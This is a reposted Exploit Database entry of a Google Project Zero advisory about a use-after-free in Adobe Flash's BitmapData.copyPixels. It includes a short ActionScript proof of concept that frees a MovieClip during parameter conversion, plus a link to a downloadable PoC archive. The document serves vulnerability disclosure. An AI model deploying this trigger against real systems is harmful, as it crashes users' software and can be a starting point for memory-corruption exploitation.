Adobe Flash – BitmapData.copyPixels Use-After-Free

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2016-08-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40310/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843
  
  There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:
  
  var mc = this.createEmptyMovieClip( "mc", 1);
  var b = new flash.display.BitmapData(10, 10, true, 7);
  var f = b.copyPixels;
  mc.f = f;
  mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});
  
  
  function func(){
  
  	mc.removeMovieClip();
  	
  	// Fix the heap	
  	
  	}
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip